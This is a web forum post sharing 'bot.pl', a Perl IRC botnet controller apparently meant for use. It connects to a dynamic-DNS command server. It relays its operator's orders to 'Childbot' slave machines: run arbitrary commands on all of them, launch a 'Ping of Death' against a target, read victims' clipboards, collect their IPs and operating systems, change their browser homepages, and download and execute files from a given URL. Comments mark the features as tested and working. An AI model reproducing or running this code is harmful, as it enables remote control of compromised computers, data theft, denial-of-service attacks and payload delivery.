| Advanced IRC bot |
bot.pl:
Code
#!/usr/bin/perl
use Net::IRC;
my $irc = new Net::IRC;
@months = qw(01 02 03 04 05 06 07 08 09 10 11 12);
($second, $minute, $hour, $dayOfMonth, $month, $yearOffset, $dayOfWeek, $dayOfYear, $daylightSavings) = localtime();
$year = 1900 + $yearOffset;
$date = "$dayOfMonth/$months[$month]/$year on $hour:$minute:$second";
$conn = $irc->newconn(Nick => 'Mommy',
Server => 'black-cell.no-ip.biz', Port => 6667);
$conn->add_global_handler('376', \&on_connect);
$conn->add_global_handler('disconnect', \&on_disconnect);
$conn->add_global_handler('kick', \&on_kick);
$conn->add_global_handler('msg', \&on_msg);
$conn->add_global_handler('join', \&on_join);
$conn->{channel} = '#Main';
$irc->start;
print "[+] Connected to the server...\n";
sub on_connect {
$conn = shift;
$conn->join($conn->{channel});
$conn->oper("Mommy", "Passw0rd");
$conn->privmsg($conn->{channel}, "Hi kids!");
$conn->{connected} = 1;
open(LOG, '+<log.txt');
print LOG
print "Connected to channel as Operator...\n";
}
sub on_join {
$conn = shift;
$event = shift;
if ($event->nick eq "Pr0t0n") {
$conn->privmsg($event->{nick}, "Hi, Boss.");
$conn->privmsg($event->{nick}, "Don't forget to OPER.");
$time = `time /t`;
$date = `date /t`;
print "[+] Pr0t0n logged in on: $date $time";
}
}
sub on_disconnect {
$conn = shift;
$conn->connect();
print "Disconnected from channel.\n";
}
sub on_kick {
$conn = shift;
$conn->join($conn->{channel});
$conn->privmsg($conn->{channel}, "Never kick me again!");
print "Kicked from channel.\n";
}
sub on_msg {
$conn = shift;
$event = shift;
my $nick = $event->nick;
my @help = ("Commands for Mommybot, some are in communication with the Childs(This has to be in privmsg):",
"", "!command <command>",
"!ping <IP/Host>", "!pod <IP/Host>",
"!uptime", "!homepage <URL>",
"!getOS", "!getclip <Botname>",
"!Get <URL> <Filename.*> <to dir> <1 to execute>", " ", " ",
"Commands for Childbot (These has to be send in a privmsg):", " ",
"!homepage <URL>", "!getclip", "!getOS");
if ($nick eq "Pr0t0n") {
foreach $arg ($event->args) {
if ($arg =~ m/!getIP/) { # Get IP;
$conn->privmsg($conn->{channel}, "!getIP");
}
if ($arg =~ m/!getOS/) { # Get OS;
$conn->privmsg($conn->{channel}, "!getOS");
}
if ($arg =~ /^\!getclip (.+)/) { # Get clipboard of individual slave;
my ($command,$bot) = split(m/ /, $arg); # Tested with success!
$conn->privmsg($bot, "$command");
}
if ($arg =~ m/!help/) { # Tested with success!
foreach $line(@help) {
$conn->privmsg($event->nick, $line);
}
}
if ($arg =~ m/!uptime/) { # Tested with success!
$output = `uptime`;
$conn->privmsg($event->nick, $line);
}
if ($arg =~ /^\!ping (.+)/) { # Tested with success!
@output = `ping $1`;
my $count = 0;
pop(@output); # pop(); to remove last element of array;
pop(@output);
pop(@output);
pop(@output);
open(LOG, '+<log.txt');
print LOG "# ------------ Ping proccess started: $date ---------------- #";
while(<@output>) {
print LOG $output[$count];
$conn->privmsg($event->nick, "$output[$count]");
$count++;
}
print LOG "# -------------------- End of Ping -------------------- #";
close(LOG);
}
if ($arg =~ /^\!pod (.+)/) { # Ping of Death, Tested with success!
open(LOG, '+<log.txt');
print LOG "# ----------- Ping of Death requested: $date ------------- #";
print LOG "On host: $1";
print LOG "# ------------------- End of Request ----------------- #";
close(LOG);
$conn->privmsg($conn->{channel}, "!pod ", $1);
}
if ($arg =~ /^\!homepage (.+)/) { # Tested with success!
open(LOG, '+<log.txt');
print LOG "# ------- Global homepage change requested: $date ------- #";
print LOG "New homepage: $1";
print LOG "# ------------------- End of Request ----------------- #";
close(LOG);
$conn->privmsg($conn->{channel}, "!homepage $1");
$conn->privmsg($event->nick, "Changing homepage of every Win32 Child.");
}
if ($arg =~ /^\!Get (.+)/) { # Tested with success;
my ($command,$uri,$to) = split(m/ /, $arg);
if (($command)&&($uri)&&($to)) {
open(LOG, '+<log.txt');
print LOG "# ------- Global File Fetch requested: $date --------- #\n";
print LOG "URL: $uri\n";
print LOG "To: $to\n";
print LOG "# ------------------- End of Request ----------------- #\n";
close(LOG);
$conn->privmsg($conn->{channel}, "!Get ", $1);
$conn->privmsg($nick, "Fetching of file in progress...");
} else { $conn->privmsg($nick, "Fetching will only work with an input."); }
}
if ($arg =~ /^\!command (.+)/) { # Tested with success!
$conn->privmsg($conn->{channel}, "!command $1");
$conn->privmsg($event->nick, "Executing command on all Children.");
}
}
print "\nReceived private message.\n";
}
if ($nick =~ /^\Childbot(.+)/) {
foreach $arg ($event->args) {
if ($arg eq "Starting Ping of Death"){
open(LOG, '+<log.txt');
print LOG "$nick is starting Ping of Death now.\n";
close(LOG);
}
if ($arg eq "Finished Ping of Death"){
open(LOG, '+<log.txt');
print LOG "$nick has finished his Ping of Death.\n";
close(LOG);
}
if ($arg eq "Changed OS"){
open(LOG, '+<log.txt');
print LOG "$nick has changed his homepage.\n";
close(LOG);
$conn->privmsg("Pr0t0n", "$nick responded to the command successful.");
}
if ($arg eq "Error OS") {
$conn->privmsg("Pr0t0n", "Error from $nick: Only for Windows.");
}
if ($arg =~ /^\SystemOS:(.+)/) {
open(LOG, '+<log.txt');
print LOG "# ----------------- $nick Responded ------------------------ #\n";
print LOG "Fetched OS: $1\n";
close(LOG);
$conn->privmsg("Pr0t0n", "Fetched OS:$1");
}
if ($arg =~ /^\SystemIP:(.+)/) {
open(LOG, '+<log.txt');
print LOG "# ----------------- $nick Responded ------------------------ #\n";
print LOG "Fetched IP: $1\n";
close(LOG);
$conn->privmsg("Pr0t0n", "Fetched IP:$1");
}
if ($arg eq "Downloaded"){
$conn->privmsg("Pr0t0n", "Download complete!");
}
if ($arg eq "Error: No Input"){
my ($command,$uri,$file,$to,$excut) = split(m/ /, $arg);
open(LOG, '+<log.txt');
print LOG "# ----------------- $nick Responded ------------------------- #\n";
print LOG "Fetching of $uri failed on $date";
print LOG "# ----------------------------------------------------------- #\n";
close(LOG);
$conn->privmsg("Pr0t0n", "Failed to retrieve input, check the log file.");
}
}
print "\nReceived PRIVMSG from $nick\n";
}
}
Please Login to Post a Comment.
Rating is available to Members only.
Please login or register to vote.
Please login or register to vote.
No Ratings have been Posted.

